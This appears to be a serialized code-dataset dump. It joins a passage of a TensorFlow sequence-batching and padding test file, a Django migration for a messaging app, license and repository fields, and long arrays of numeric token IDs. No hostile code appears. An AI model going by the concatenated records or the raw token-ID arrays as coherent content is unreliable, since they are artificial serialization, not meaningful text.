1, 1)) expected_seq1_batch2 = np.tile( self.sequences["seq1"][np.newaxis, num_unroll:self.value_length, :], (self.batch_size, 1, 1)) expected_seq2_batch2 = np.tile( self.sequences["seq2"][np.newaxis, num_unroll:self.value_length, :, :], (self.batch_size, 1, 1, 1)) ind1_1 = np.array([ # batch entry 1 [0, 0, 0], [0, 1, 0], [0, 1, 3], [0, 1, 4], # batch entry 2 [1, 0, 0], [1, 1, 0], [1, 1, 3], [1, 1, 4]]) ind1_2 = np.array([ # batch entry 1 [0, 1, 2], [0, 1, 3], # batch entry 2 [1, 1, 2], [1, 1, 3]]) val1_1 = np.array([0, 10, 13, 14, 0, 10, 13, 14]) val1_2 = np.array([32, 33, 32, 33]) shape1 = np.array([self.batch_size, num_unroll, 6]) # For sp_tensor2 all values fall into the first segment. ind2_1 = np.array([ # batch entry 1 [0, 0, 0, 1], [0, 0, 1, 0], [0, 0, 1, 2], [0, 1, 0, 3], [0, 1, 1, 0], [0, 1, 1, 1], [0, 1, 1, 2], [0, 1, 2, 2], # batch entry 2 [1, 0, 0, 1], [1, 0, 1, 0], [1, 0, 1, 2], [1, 1, 0, 3], [1, 1, 1, 0], [1, 1, 1, 1], [1, 1, 1, 2], [1, 1, 2, 2], ]) val2_1 = np.array([1, 10, 12, 103, 150, 149, 150, 122, 1, 10, 12, 103, 150, 149, 150, 122]) shape2 = np.array([self.batch_size, num_unroll, 3, 4]) expected_seq3_batch1 = sparse_tensor.SparseTensorValue( ind1_1, val1_1, shape1) expected_seq3_batch2 = sparse_tensor.SparseTensorValue( ind1_2, val1_2, shape1) expected_seq4_batch1 = sparse_tensor.SparseTensorValue( ind2_1, val2_1, shape2) expected_seq4_batch2 = sparse_tensor.SparseTensorValue( np.empty(shape=[0, 4], dtype=np.int64), np.array([]), shape2) self._testBasics( num_unroll=num_unroll, length=3, pad=pad, expected_seq1_batch1=expected_seq1_batch1, expected_seq1_batch2=expected_seq1_batch2, expected_seq2_batch1=expected_seq2_batch1, expected_seq2_batch2=expected_seq2_batch2, expected_seq3_batch1=expected_seq3_batch1, expected_seq3_batch2=expected_seq3_batch2, expected_seq4_batch1=expected_seq4_batch1, expected_seq4_batch2=expected_seq4_batch2, key=key, make_keys_unique=make_keys_unique) def testBasicPadding(self): self._testBasicPadding(pad=True) def testBasicNoPadding(self): self._testBasicPadding(pad=False) def testRandomKeyGen(self): self._testBasicPadding(pad=False, key=constant_op.constant("fixed_key"), make_keys_unique=True) def testNotAMultiple(self): num_unroll = 3 # Not a divisor of value_length - # so padding would have been necessary. with self.test_session() as sess: with self.assertRaisesRegexp(errors_impl.InvalidArgumentError, ".*should be a multiple of: 3, but saw " "value: 4. Consider setting pad=True."): coord = coordinator.Coordinator() threads = None try: with coord.stop_on_exception(): next_batch = sqss.batch_sequences_with_states( input_key=self.key, input_sequences=self.sequences, input_context=self.context, input_length=3, initial_states=self.initial_states, num_unroll=num_unroll, batch_size=self.batch_size, num_threads=3, # to enforce that we only move on to the next examples after # finishing all segments of the first ones. capacity=2, pad=False) threads = queue_runner_impl.start_queue_runners(coord=coord) sess.run([next_batch.key]) except errors_impl.OutOfRangeError: pass finally: coord.request_stop() if threads is not None: coord.join(threads, stop_grace_period_secs=2) def testAdvancedPadding(self): num_unroll = 3 # Not a divisor of value_length - so padding to 6 necessary. expected_seq1_batch1 = np.tile( self.sequences["seq1"][np.newaxis, 0:num_unroll, :], (self.batch_size, 1, 1)) expected_seq2_batch1 = np.tile( self.sequences["seq2"][np.newaxis, 0:num_unroll, :, :], (self.batch_size, 1, 1, 1)) padded_seq1 = np.concatenate( [ self.sequences["seq1"][np.newaxis, num_unroll:self.value_length, :], np.zeros((1, 1, 5)), np.zeros((1, 1, 5)) ], axis=1) expected_seq1_batch2 = np.concatenate( [padded_seq1] * self.batch_size, axis=0) padded_seq2 = np.concatenate( [ self.sequences["seq2"][np.newaxis, num_unroll:self.value_length, :], np.zeros((1, 1, 4, 2)), np.zeros((1, 1, 4, 2)) ], axis=1) expected_seq2_batch2 = np.concatenate( [padded_seq2] * self.batch_size, axis=0) ind1_1 = np.array([ # batch entry 1 [0, 0, 0], [0, 1, 0], [0, 1, 3], [0, 1, 4], # batch entry 2 [1, 0, 0], [1, 1, 0], [1, 1, 3], [1, 1, 4]]) ind1_2 = np.array([ # batch entry 1 [0, 0, 2], [0, 0, 3], # batch entry 2 [1, 0, 2], [1, 0, 3]]) val1_1 = np.array([0, 10, 13, 14, 0, 10, 13, 14]) val1_2 = np.array([32, 33, 32, 33]) shape1 = np.array([self.batch_size, num_unroll, 6]) # For sp_tensor2 all values fall into the first segment. ind2_1 = np.array([ # batch entry 1 [0, 0, 0, 1], [0, 0, 1, 0], [0, 0, 1, 2], [0, 1, 0, 3], [0, 1, 1, 0], [0, 1, 1, 1], [0, 1, 1, 2], [0, 1, 2, 2], # batch entry 2 [1, 0, 0, 1], [1, 0, 1, 0], [1, 0, 1, 2], [1, 1, 0, 3], [1, 1, 1, 0], [1, 1, 1, 1], [1, 1, 1, 2], [1, 1, 2, 2], ]) val2_1 = np.array([1, 10, 12, 103, 150, 149, 150, 122, 1, 10, 12, 103, 150, 149, 150, 122]) shape2 = np.array([self.batch_size, num_unroll, 3, 4]) expected_seq3_batch1 = sparse_tensor.SparseTensorValue( ind1_1, val1_1, shape1) expected_seq3_batch2 = sparse_tensor.SparseTensorValue( ind1_2, val1_2, shape1) expected_seq4_batch1 = sparse_tensor.SparseTensorValue( ind2_1, val2_1, shape2) expected_seq4_batch2 = sparse_tensor.SparseTensorValue( np.empty(shape=[0, 4], dtype=np.int64), np.array([]), shape2) ind1_1 = np.array([ # batch entry 1 [0, 0, 0], [0, 1, 0], [0, 1, 3], [0, 1, 4], # batch entry 2 [1, 0, 0], [1, 1, 0], [1, 1, 3], [1, 1, 4]]) ind1_2 = np.array([ # batch entry 1 [0, 0, 2], [0, 0, 3], # batch entry 2 [1, 0, 2], [1, 0, 3]]) val1_1 = np.array([0, 10, 13, 14, 0, 10, 13, 14]) val1_2 = np.array([32, 33, 32, 33]) shape1 = np.array([self.batch_size, num_unroll, 6]) # For sp_tensor2 all values fall into the first segment. ind2_1 = np.array([ # batch entry 1 [0, 0, 0, 1], [0, 0, 1, 0], [0, 0, 1, 2], [0, 1, 0, 3], [0, 1, 1, 0], [0, 1, 1, 1], [0, 1, 1, 2], [0, 1, 2, 2], # batch entry 2 [1, 0, 0, 1], [1, 0, 1, 0], [1, 0, 1, 2], [1, 1, 0, 3], [1, 1, 1, 0], [1, 1, 1, 1], [1, 1, 1, 2], [1, 1, 2, 2], ]) val2_1 = np.array([1, 10, 12, 103, 150, 149, 150, 122, 1, 10, 12, 103, 150, 149, 150, 122]) shape2 = np.array([self.batch_size, num_unroll, 3, 4]) expected_seq3_batch1 = sparse_tensor.SparseTensorValue( ind1_1, val1_1, shape1) expected_seq3_batch2 = sparse_tensor.SparseTensorValue( ind1_2, val1_2, shape1) expected_seq4_batch1 = sparse_tensor.SparseTensorValue( ind2_1, val2_1, shape2) expected_seq4_batch2 = sparse_tensor.SparseTensorValue( np.empty(shape=[0, 4], dtype=np.int64), np.array([]), shape2) self._testBasics( num_unroll=num_unroll, length=None, pad=True, expected_seq1_batch1=expected_seq1_batch1, expected_seq1_batch2=expected_seq1_batch2, expected_seq2_batch1=expected_seq2_batch1, expected_seq2_batch2=expected_seq2_batch2, expected_seq3_batch1=expected_seq3_batch1, expected_seq3_batch2=expected_seq3_batch2, expected_seq4_batch1=expected_seq4_batch1, expected_seq4_batch2=expected_seq4_batch2) class PaddingTest(test.TestCase): def testPaddingInvalidLengths(self): with ops.Graph().as_default() as g, self.test_session(graph=g): sequences = { "key_1": constant_op.constant([1, 2, 3]), # length 3 "key_2": constant_op.constant([1.5, 2.5]) # length 2 } _, padded_seq = sqss._padding(sequences, 2) with self.assertRaisesOpError( ".*All sequence lengths must match, but received lengths.*"): padded_seq["key_1"].eval() def testPadding(self): with ops.Graph().as_default() as g, self.test_session(graph=g): sequences = { "key_1": constant_op.constant([1, 2]), "key_2": constant_op.constant([0.5, -1.0]), "key_3": constant_op.constant(["a", "b"]), # padding strings "key_4": constant_op.constant([[1, 2, 3], [4, 5, 6]]) } _, padded_seq = sqss._padding(sequences, 5) expected_padded_seq = { "key_1": [1, 2, 0, 0, 0], "key_2": [0.5, -1.0, 0.0, 0.0, 0.0], "key_3": ["a", "b", "", "", ""], "key_4": [[1, 2, 3], [4, 5, 6], [0, 0, 0], [0, 0, 0], [0, 0, 0]] } for key, val in expected_padded_seq.items(): self.assertTrue( math_ops.reduce_all(math_ops.equal(val, padded_seq[key])).eval()) class SparseTensorReConstructionTest(test.TestCase): def testAddManyTakeManyRoundTripBatched(self): with self.test_session(use_gpu=False) as sess: # N == 4 because shape_value == [4, 5] indices_value_1 = np.array([[0, 0], [0, 1], [2, 0]], dtype=np.int64) values_value_1 = np.array([b"a", b"b", b"c"]) shape_value_1 = np.array([4, 5], dtype=np.int64) sparse_tensor_1 = sparse_tensor.SparseTensor( array_ops.placeholder(dtypes.int64), array_ops.placeholder(dtypes.string), array_ops.placeholder(dtypes.int64)) dict1 = {"key": sparse_tensor_1} indices_value_2 = np.array([[1, 4], [2, 3]], dtype=np.int64) values_value_2 = np.array([b"d", b"e"]) shape_value_2 = np.array([4, 5], dtype=np.int64) sparse_tensor_2 = sparse_tensor.SparseTensor( array_ops.placeholder(dtypes.int64), array_ops.placeholder(dtypes.string), array_ops.placeholder(dtypes.int64)) dict2 = {"key": sparse_tensor_2} input_seq1, keys1, tensor_list1 = sqss._deconstruct_sparse_tensor_seq( dict1, shared_name="a") handles_1 = input_seq1["key"] input_seq2, _, _ = sqss._deconstruct_sparse_tensor_seq( dict2, shared_name="a") handles_2 = input_seq2["key"] combined_handles = array_ops.stack( [handles_1[1], handles_1[2], handles_1[3], handles_2[1], handles_2[2], handles_2[3]]) batched_dict = {"key": combined_handles} sqss._reconstruct_sparse_tensor_seq( batched_dict, keys1, tensor_list1, batch_size=2, num_unroll=3) roundtrip_value, = sess.run( [batched_dict["key"]], feed_dict={sparse_tensor_1.indices: indices_value_1, sparse_tensor_1.values: values_value_1, sparse_tensor_1.dense_shape: shape_value_1, sparse_tensor_2.indices: indices_value_2, sparse_tensor_2.values: values_value_2, sparse_tensor_2.dense_shape: shape_value_2}) self.assertAllEqual(roundtrip_value.indices, np.array([[0, 1, 0], [1, 0, 4], [1, 1, 3]], dtype=np.int64)) self.assertAllEqual(roundtrip_value.values, np.array([b"c", b"d", b"e"])) self.assertAllEqual(roundtrip_value.dense_shape, np.array([2, 3, 5], dtype=np.int64)) if __name__ == "__main__": test.main()
apache-2.0
[ 3, 1898, 7800, 710, 9134, 6642, 14, 2900, 5924, 5702, 14, 199, 3, 199, 3, 3909, 1334, 314, 3668, 844, 12, 3394, 499, 14, 16, 334, 1589, 298, 3761, 3547, 199, 3, 1265, 1443, 440, 675, 642, 570, 871, 315, 4151, 543, 314, 844, 14, 199, 3, 2047, 1443, 3332, 282, 1331, 402, 314, 844, 737, 199, 3, 199, 3, 258, 1455, 921, 1544, 14, 3796, 14, 1308, 15, 2383, 15, 3961, 13, 18, 14, 16, 199, 3, 199, 3, 4158, 1415, 701, 3964, 4179, 503, 4193, 370, 315, 3575, 12, 2032, 199, 3, 1854, 1334, 314, 844, 365, 1854, 641, 376, 298, 1179, 2281, 2, 4207, 12, 199, 3, 2428, 2990, 1549, 4217, 1634, 1821, 3826, 12, 1902, 4056, 503, 2478, 14, 199, 3, 1666, 314, 844, 367, 314, 2488, 2637, 4210, 3443, 436, 199, 3, 4204, 1334, 314, 844, 14, 199, 3, 11148, 199, 624, 2925, 367, 2833, 14, 2912, 63, 13436, 63, 1045, 63, 4981, 1041, 199, 504, 636, 2443, 363, 492, 3679, 63, 646, 199, 504, 636, 2443, 363, 492, 4629, 199, 504, 636, 2443, 363, 492, 870, 63, 1593, 199, 199, 646, 747, 199, 199, 646, 2680, 465, 980, 199, 199, 504, 3228, 14, 2828, 14, 7588, 14, 1548, 14, 7588, 492, 3414, 63, 1825, 316, 63, 929, 63, 21166, 465, 5295, 385, 199, 504, 3228, 14, 1548, 14, 4857, 492, 4413, 63, 411, 199, 504, 3228, 14, 1548, 14, 4857, 492, 6674, 199, 504, 3228, 14, 1548, 14, 4857, 492, 2552, 63, 5472, 199, 504, 3228, 14, 1548, 14, 4857, 492, 4156, 199, 504, 3228, 14, 1548, 14, 4857, 492, 5178, 63, 3128, 199, 504, 3228, 14, 1548, 14, 1483, 492, 1625, 63, 1483, 199, 504, 3228, 14, 1548, 14, 1483, 492, 3473, 63, 1483, 199, 504, 3228, 14, 1548, 14, 1483, 492, 2196, 63, 1483, 199, 504, 3228, 14, 1548, 14, 1483, 492, 1059, 63, 1483, 199, 504, 3228, 14, 1548, 14, 1483, 492, 2860, 199, 504, 3228, 14, 1548, 14, 3246, 492, 511, 199, 504, 3228, 14, 1548, 14, 7588, 492, 29186, 199, 504, 3228, 14, 1548, 14, 7588, 492, 4126, 63, 5933, 63, 5472, 199, 504, 3228, 14, 1548, 14, 7588, 492, 17559, 421, 199, 533, 17206, 1513, 6227, 3007, 18010, 774, 8, 396, 14, 1746, 304, 819, 347, 3613, 8, 277, 304, 272, 1613, 8, 8842, 1513, 6227, 3007, 18010, 774, 12, 291, 680, 5996, 342, 272, 291, 14, 585, 63, 1267, 275, 841, 272, 7654, 17, 275, 980, 14, 1144, 779, 267, 359, 16, 12, 378, 467, 267, 359, 17, 12, 378, 467, 359, 17, 12, 650, 467, 359, 17, 12, 841, 467, 267, 359, 19, 12, 499, 467, 359, 19, 12, 650, 3934, 272, 1139, 17, 275, 980, 14, 1144, 779, 16, 12, 1616, 12, 4944, 12, 4329, 12, 4337, 12, 9404, 566, 272, 2215, 17, 275, 980, 14, 1144, 779, 277, 14, 585, 63, 1267, 12, 1227, 566, 272, 2249, 63, 3128, 17, 275, 5178, 63, 3128, 14, 12079, 8, 267, 1625, 63, 1483, 14, 4083, 8, 688, 17, 12, 6674, 14, 442, 772, 395, 267, 1625, 63, 1483, 14, 4083, 8, 637, 17, 12, 6674, 14, 442, 772, 395, 267, 1625, 63, 1483, 14, 4083, 8, 1392, 17, 12, 6674, 14, 442, 772, 430, 272, 7654, 18, 275, 980, 14, 1144, 779, 267, 359, 16, 12, 378, 12, 413, 467, 267, 359, 16, 12, 413, 12, 378, 467, 267, 359, 16, 12, 413, 12, 499, 467, 267, 359, 17, 12, 378, 12, 650, 467, 267, 359, 17, 12, 413, 12, 378, 467, 267, 359, 17, 12, 413, 12, 413, 467, 267, 359, 17, 12, 413, 12, 499, 467, 267, 359, 17, 12, 499, 12, 499, 3934, 272, 1139, 18, 275, 980, 14, 1144, 779, 17, 12, 1616, 12, 3144, 12, 22363, 12, 14711, 12, 28528, 12, 14711, 12, 24557, 566, 272, 2215, 18, 275, 980, 14, 1144, 779, 277, 14, 585, 63, 1267, 12, 650, 12, 841, 566, 272, 2249, 63, 3128, 18, 275, 5178, 63, 3128, 14, 12079, 8, 267, 1625, 63, 1483, 14, 4083, 8, 688, 18, 12, 6674, 14, 442, 772, 395, 267, 1625, 63, 1483, 14, 4083, 8, 637, 18, 12, 6674, 14, 442, 772, 395, 267, 1625, 63, 1483, 14, 4083, 8, 1392, 18, 12, 6674, 14, 442, 772, 430, 272, 2249, 63, 3128, 19, 275, 5178, 63, 3128, 14, 12079, 8, 267, 1625, 63, 1483, 14, 4083, 4038, 17, 12, 1749, 467, 359, 18, 12, 499, 467, 359, 18, 12, 1616, 2365, 6674, 14, 442, 772, 395, 267, 1625, 63, 1483, 14, 4083, 779, 23, 12, 4114, 12, 499, 467, 6674, 14, 442, 772, 395, 267, 1625, 63, 1483, 14, 4083, 779, 21, 12, 3144, 467, 6674, 14, 442, 772, 9, 272, 776, 272, 291, 14, 681, 63, 3128, 19, 63, 2062, 275, 5178, 63, 3128, 14, 12079, 1110, 8, 267, 3474, 16, 12, 413, 12, 1749, 467, 359, 16, 12, 499, 12, 499, 467, 359, 16, 12, 499, 12, 1616, 467, 359, 17, 12, 413, 12, 1749, 467, 359, 17, 12, 499, 12, 499, 467, 359, 17, 12, 499, 12, 1616, 2365, 267, 359, 23, 12, 4114, 12, 499, 12, 1520, 12, 4114, 12, 499, 467, 267, 359, 18, 12, 959, 12, 3144, 61, 272, 776, 272, 291, 14, 2912, 63, 890, 275, 499, 272, 291, 14, 498, 275, 1059, 63, 1483, 14, 875, 63, 904, 779, 267, 298, 498, 29808, 1059, 63, 1483, 14, 305, 63, 875, 8, 288, 3473, 63, 1483, 14, 2931, 8, 9943, 627, 2196, 63, 1483, 14, 2355, 63, 8830, 8, 4000, 6674, 14, 442, 708, 430, 272, 4794, 272, 291, 14, 13436, 275, 469, 267, 298, 3610, 17, 582, 980, 14, 2355, 14, 3759, 8, 277, 14, 585, 63, 1267, 12, 959, 395, 267, 298, 3610, 18, 582, 980, 14, 2355, 14, 3759, 8, 277, 14, 585, 63, 1267, 12, 841, 12, 499, 395, 267, 298, 3610, 19, 582, 2249, 63, 3128, 17, 12, 267, 298, 3610, 20, 582, 2249, 63, 3128, 18, 93, 272, 291, 14, 1100, 275, 469, 267, 298, 1100, 17, 582, 359, 19, 12, 841, 467, 267, 298, 681, 63, 1100, 582, 2249, 63, 3128, 19, 93, 272, 291, 14, 2747, 63, 4981 ]
[ 1898, 7800, 710, 9134, 6642, 14, 2900, 5924, 5702, 14, 199, 3, 199, 3, 3909, 1334, 314, 3668, 844, 12, 3394, 499, 14, 16, 334, 1589, 298, 3761, 3547, 199, 3, 1265, 1443, 440, 675, 642, 570, 871, 315, 4151, 543, 314, 844, 14, 199, 3, 2047, 1443, 3332, 282, 1331, 402, 314, 844, 737, 199, 3, 199, 3, 258, 1455, 921, 1544, 14, 3796, 14, 1308, 15, 2383, 15, 3961, 13, 18, 14, 16, 199, 3, 199, 3, 4158, 1415, 701, 3964, 4179, 503, 4193, 370, 315, 3575, 12, 2032, 199, 3, 1854, 1334, 314, 844, 365, 1854, 641, 376, 298, 1179, 2281, 2, 4207, 12, 199, 3, 2428, 2990, 1549, 4217, 1634, 1821, 3826, 12, 1902, 4056, 503, 2478, 14, 199, 3, 1666, 314, 844, 367, 314, 2488, 2637, 4210, 3443, 436, 199, 3, 4204, 1334, 314, 844, 14, 199, 3, 11148, 199, 624, 2925, 367, 2833, 14, 2912, 63, 13436, 63, 1045, 63, 4981, 1041, 199, 504, 636, 2443, 363, 492, 3679, 63, 646, 199, 504, 636, 2443, 363, 492, 4629, 199, 504, 636, 2443, 363, 492, 870, 63, 1593, 199, 199, 646, 747, 199, 199, 646, 2680, 465, 980, 199, 199, 504, 3228, 14, 2828, 14, 7588, 14, 1548, 14, 7588, 492, 3414, 63, 1825, 316, 63, 929, 63, 21166, 465, 5295, 385, 199, 504, 3228, 14, 1548, 14, 4857, 492, 4413, 63, 411, 199, 504, 3228, 14, 1548, 14, 4857, 492, 6674, 199, 504, 3228, 14, 1548, 14, 4857, 492, 2552, 63, 5472, 199, 504, 3228, 14, 1548, 14, 4857, 492, 4156, 199, 504, 3228, 14, 1548, 14, 4857, 492, 5178, 63, 3128, 199, 504, 3228, 14, 1548, 14, 1483, 492, 1625, 63, 1483, 199, 504, 3228, 14, 1548, 14, 1483, 492, 3473, 63, 1483, 199, 504, 3228, 14, 1548, 14, 1483, 492, 2196, 63, 1483, 199, 504, 3228, 14, 1548, 14, 1483, 492, 1059, 63, 1483, 199, 504, 3228, 14, 1548, 14, 1483, 492, 2860, 199, 504, 3228, 14, 1548, 14, 3246, 492, 511, 199, 504, 3228, 14, 1548, 14, 7588, 492, 29186, 199, 504, 3228, 14, 1548, 14, 7588, 492, 4126, 63, 5933, 63, 5472, 199, 504, 3228, 14, 1548, 14, 7588, 492, 17559, 421, 199, 533, 17206, 1513, 6227, 3007, 18010, 774, 8, 396, 14, 1746, 304, 819, 347, 3613, 8, 277, 304, 272, 1613, 8, 8842, 1513, 6227, 3007, 18010, 774, 12, 291, 680, 5996, 342, 272, 291, 14, 585, 63, 1267, 275, 841, 272, 7654, 17, 275, 980, 14, 1144, 779, 267, 359, 16, 12, 378, 467, 267, 359, 17, 12, 378, 467, 359, 17, 12, 650, 467, 359, 17, 12, 841, 467, 267, 359, 19, 12, 499, 467, 359, 19, 12, 650, 3934, 272, 1139, 17, 275, 980, 14, 1144, 779, 16, 12, 1616, 12, 4944, 12, 4329, 12, 4337, 12, 9404, 566, 272, 2215, 17, 275, 980, 14, 1144, 779, 277, 14, 585, 63, 1267, 12, 1227, 566, 272, 2249, 63, 3128, 17, 275, 5178, 63, 3128, 14, 12079, 8, 267, 1625, 63, 1483, 14, 4083, 8, 688, 17, 12, 6674, 14, 442, 772, 395, 267, 1625, 63, 1483, 14, 4083, 8, 637, 17, 12, 6674, 14, 442, 772, 395, 267, 1625, 63, 1483, 14, 4083, 8, 1392, 17, 12, 6674, 14, 442, 772, 430, 272, 7654, 18, 275, 980, 14, 1144, 779, 267, 359, 16, 12, 378, 12, 413, 467, 267, 359, 16, 12, 413, 12, 378, 467, 267, 359, 16, 12, 413, 12, 499, 467, 267, 359, 17, 12, 378, 12, 650, 467, 267, 359, 17, 12, 413, 12, 378, 467, 267, 359, 17, 12, 413, 12, 413, 467, 267, 359, 17, 12, 413, 12, 499, 467, 267, 359, 17, 12, 499, 12, 499, 3934, 272, 1139, 18, 275, 980, 14, 1144, 779, 17, 12, 1616, 12, 3144, 12, 22363, 12, 14711, 12, 28528, 12, 14711, 12, 24557, 566, 272, 2215, 18, 275, 980, 14, 1144, 779, 277, 14, 585, 63, 1267, 12, 650, 12, 841, 566, 272, 2249, 63, 3128, 18, 275, 5178, 63, 3128, 14, 12079, 8, 267, 1625, 63, 1483, 14, 4083, 8, 688, 18, 12, 6674, 14, 442, 772, 395, 267, 1625, 63, 1483, 14, 4083, 8, 637, 18, 12, 6674, 14, 442, 772, 395, 267, 1625, 63, 1483, 14, 4083, 8, 1392, 18, 12, 6674, 14, 442, 772, 430, 272, 2249, 63, 3128, 19, 275, 5178, 63, 3128, 14, 12079, 8, 267, 1625, 63, 1483, 14, 4083, 4038, 17, 12, 1749, 467, 359, 18, 12, 499, 467, 359, 18, 12, 1616, 2365, 6674, 14, 442, 772, 395, 267, 1625, 63, 1483, 14, 4083, 779, 23, 12, 4114, 12, 499, 467, 6674, 14, 442, 772, 395, 267, 1625, 63, 1483, 14, 4083, 779, 21, 12, 3144, 467, 6674, 14, 442, 772, 9, 272, 776, 272, 291, 14, 681, 63, 3128, 19, 63, 2062, 275, 5178, 63, 3128, 14, 12079, 1110, 8, 267, 3474, 16, 12, 413, 12, 1749, 467, 359, 16, 12, 499, 12, 499, 467, 359, 16, 12, 499, 12, 1616, 467, 359, 17, 12, 413, 12, 1749, 467, 359, 17, 12, 499, 12, 499, 467, 359, 17, 12, 499, 12, 1616, 2365, 267, 359, 23, 12, 4114, 12, 499, 12, 1520, 12, 4114, 12, 499, 467, 267, 359, 18, 12, 959, 12, 3144, 61, 272, 776, 272, 291, 14, 2912, 63, 890, 275, 499, 272, 291, 14, 498, 275, 1059, 63, 1483, 14, 875, 63, 904, 779, 267, 298, 498, 29808, 1059, 63, 1483, 14, 305, 63, 875, 8, 288, 3473, 63, 1483, 14, 2931, 8, 9943, 627, 2196, 63, 1483, 14, 2355, 63, 8830, 8, 4000, 6674, 14, 442, 708, 430, 272, 4794, 272, 291, 14, 13436, 275, 469, 267, 298, 3610, 17, 582, 980, 14, 2355, 14, 3759, 8, 277, 14, 585, 63, 1267, 12, 959, 395, 267, 298, 3610, 18, 582, 980, 14, 2355, 14, 3759, 8, 277, 14, 585, 63, 1267, 12, 841, 12, 499, 395, 267, 298, 3610, 19, 582, 2249, 63, 3128, 17, 12, 267, 298, 3610, 20, 582, 2249, 63, 3128, 18, 93, 272, 291, 14, 1100, 275, 469, 267, 298, 1100, 17, 582, 359, 19, 12, 841, 467, 267, 298, 681, 63, 1100, 582, 2249, 63, 3128, 19, 93, 272, 291, 14, 2747, 63, 4981, 0 ]
[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 ]
aestheticblasphemy/aestheticBlasphemy
pl_messages/migrations/0001_initial.py
1
4096
# -*- coding: utf-8 -*- # Generated by Django 1.9.8 on 2016-07-24 12:02 from django.conf import settings from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): initial = True dependencies = [ migrations.swappable_dependency(settings.AUTH_USER_MODEL), ] operations = [ migrations.CreateModel( name='Messages', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('body', models.TextField()), ('created', models.DateTimeField(editable=False)), ('is_deleted', models.BooleanField(default=False)), ('parent', models.ForeignKey(null=True, on_delete=django.db.models.deletion.CASCADE, to='pl_messages.Messages')), ('sender', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='message_sender', to=settings.AUTH_USER_MODEL)), ], options={ 'verbose_name': 'Message', 'verbose_name_plural': 'Messages', }, ), migrations.CreateModel( name='ParticipantNotifications', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('message_count', models.IntegerField(default=0)), ('updated', models.DateTimeField(auto_now=True)), ('status', models.BooleanField(default=False)), ('participant', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='notified_participant', to=settings.AUTH_USER_MODEL, verbose_name=b'Notification Participant')), ], options={ 'verbose_name': 'Participant Notification', 'verbose_name_plural': 'Participant Notifications', }, ), migrations.CreateModel( name='ParticipantThreads', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('participant', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='thread_participant', to=settings.AUTH_USER_MODEL, verbose_name=b'Thread Participant')), ], options={ 'verbose_name': 'Participant Thread', 'verbose_name_plural': 'Participant Threads', }, ), migrations.CreateModel( name='Thread', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('created', models.DateTimeField(editable=False)), ('updated', models.DateTimeField(auto_now=True)), ('is_deleted', models.BooleanField(default=False)), ('last_message', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='last_message_in_thread', to='pl_messages.Messages', verbose_name=b'Last Message')), ('messages', models.ManyToManyField(related_name='thread_messages', to='pl_messages.Messages', verbose_name=b'Thread Messages')), ('participants', models.ManyToManyField(related_name='thread_participants', to=settings.AUTH_USER_MODEL)), ], options={ 'verbose_name': 'Thread', 'verbose_name_plural': 'Threads', }, ), migrations.AddField( model_name='participantthreads', name='threads', field=models.ManyToManyField(related_name='participant_threads', to='pl_messages.Thread', verbose_name=b'Participant Threads'), ), migrations.AddField( model_name='participantnotifications', name='thread', field=models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='participant_thread', to='pl_messages.Thread'), ), ]
gpl-3.0
[ 3, 1882, 2803, 26, 2774, 13, 24, 1882, 199, 3, 17065, 701, 5634, 413, 14, 25, 14, 24, 641, 7800, 13, 1780, 13, 1194, 3144, 26, 996, 421, 199, 504, 1639, 14, 2190, 492, 2202, 199, 504, 1639, 14, 697, 492, 6180, 12, 1709, 199, 646, 1639, 14, 697, 14, 992, 14, 14281, 421, 199, 533, 12090, 8, 7685, 14, 9816, 304, 339, 2536, 275, 715, 339, 5124, 275, 359, 267, 6180, 14, 31925, 63, 8575, 8, 1751, 14, 5580, 63, 3791, 63, 11429, 395, 272, 1622, 339, 5331, 275, 359, 267, 6180, 14, 14907, 8, 288, 536, 534, 14508, 297, 288, 1504, 1524, 355, 661, 344, 297, 1709, 14, 4378, 8, 2495, 63, 3966, 29, 549, 12, 5062, 63, 498, 29, 549, 12, 8437, 29, 797, 12, 3376, 63, 354, 534, 998, 3855, 355, 661, 2030, 297, 1709, 14, 6254, 4000, 355, 661, 3966, 297, 1709, 14, 4626, 8, 10820, 29, 797, 1826, 355, 661, 374, 63, 6062, 297, 1709, 14, 5036, 8, 885, 29, 797, 1826, 355, 661, 1708, 297, 1709, 14, 3190, 8, 2307, 29, 549, 12, 641, 63, 1807, 29, 1176, 14, 697, 14, 992, 14, 14281, 14, 10855, 12, 370, 534, 1168, 63, 3431, 14, 14508, 3855, 355, 661, 8114, 297, 1709, 14, 3190, 8, 265, 63, 1807, 29, 1176, 14, 697, 14, 992, 14, 14281, 14, 10855, 12, 4048, 63, 354, 534, 1188, 63, 8114, 297, 370, 29, 1751, 14, 5580, 63, 3791, 63, 11429, 1826, 288, 2156, 288, 1511, 3126, 355, 283, 3832, 63, 354, 356, 283, 2209, 297, 355, 283, 3832, 63, 354, 63, 10019, 356, 283, 14508, 297, 288, 1660, 267, 2318, 267, 6180, 14, 14907, 8, 288, 536, 534, 1262, 16448, 30620, 297, 288, 1504, 1524, 355, 661, 344, 297, 1709, 14, 4378, 8, 2495, 63, 3966, 29, 549, 12, 5062, 63, 498, 29, 549, 12, 8437, 29, 797, 12, 3376, 63, 354, 534, 998, 3855, 355, 661, 1188, 63, 835, 297, 1709, 14, 3901, 8, 885, 29, 16, 1826, 355, 661, 5334, 297, 1709, 14, 4626, 8, 2495, 63, 2131, 29, 549, 1826, 355, 661, 1205, 297, 1709, 14, 5036, 8, 885, 29, 797, 1826, 355, 661, 29253, 297, 1709, 14, 3190, 8, 265, 63, 1807, 29, 1176, 14, 697, 14, 992, 14, 14281, 14, 10855, 12, 4048, 63, 354, 534, 889, 8981, 63, 29253, 297, 370, 29, 1751, 14, 5580, 63, 3791, 63, 11429, 12, 3376, 63, 354, 29, 66, 7, 11598, 2235, 16448, 3855, 288, 2156, 288, 1511, 3126, 355, 283, 3832, 63, 354, 356, 283, 1262, 16448, 23362, 297, 355, 283, 3832, 63, 354, 63, 10019, 356, 283, 1262, 16448, 23362, 